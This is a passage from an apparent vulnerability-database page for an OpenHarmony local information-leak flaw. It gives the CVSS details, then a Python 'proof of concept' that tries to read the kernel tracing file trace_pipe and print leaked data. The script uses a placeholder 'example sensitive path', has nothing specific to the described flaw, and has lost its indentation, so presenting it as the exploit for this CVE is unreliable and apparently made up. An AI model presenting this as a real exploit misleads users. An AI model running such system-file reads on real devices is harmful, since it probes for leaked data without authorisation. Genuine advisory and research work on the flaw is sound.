in OpenHarmony v6.0 and prior versions allow a local attacker cause information leak
CVSS Details
CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
OpenHarmony <= v6.0
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# Proof of Concept for CVE-2026-25850
# This script attempts to read sensitive information accessible due to improper access control.
import os
def main():
target_path = "/sys/kernel/debug/tracing/trace_pipe" # Example sensitive path
print(f"[*] Attempting to read {target_path}...")
try:
with open(target_path, 'r') as f:
data = f.read(1024)
if data:
print("[+] Information leaked successfully:")
print(data)
else:
print("[-] No data read.")
except PermissionError:
print("[-] Permission denied. Patch may be applied.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
main()